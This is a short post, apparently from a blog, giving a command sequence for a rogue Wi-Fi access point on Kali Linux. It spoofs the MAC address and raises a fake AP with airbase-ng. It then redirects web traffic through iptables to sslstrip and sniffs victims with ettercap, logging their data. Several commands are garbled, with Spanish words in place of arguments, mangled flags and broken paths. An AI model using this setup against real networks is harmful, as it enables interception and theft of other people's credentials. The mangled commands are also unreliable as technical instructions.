[Kali Linux] Rogue AP

/ Etc / init.d / network-manager stop
killall wpa_supplicant dhclient
ifconfig wlan0 abajo
macchanger-r wlan0
iw reg set BO
airmon-ng wlan0 empezar
airbase-ng-e «WLAN_0SEC»-v mon0

iptables – flush
iptables – tabla nat –
flush iptables – delete-chain
iptables – tabla nat – delete-chain
echo «1»> / proc/sys/net/ipv4/ipv4/ip_forward
ifconfig at0
ifconfig AT0 10.0.0.1 netmask 255.255.255.0
ruta add-net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables-P FORWARD ACCEPT
iptables-t nat-A POSTROUTING-o eth0-j MASQUERADE
iptables-t nat-A PREROUTING-p tcp – destination-port 80-j REDIRECT – to-port 10000 />
apt-get install isc-dhcp-server

dhcpd.conf cat dhcpd-cf / root / wifi / dhcpd.conf-f-d />
apt-get install dnsmasq
dnsmasq-k

sslstrip-a-w / root / wifi / log.txt
ettercap-p-u-T-q-i AT0

Deja un comentario

Tu dirección de correo electrónico no será publicada.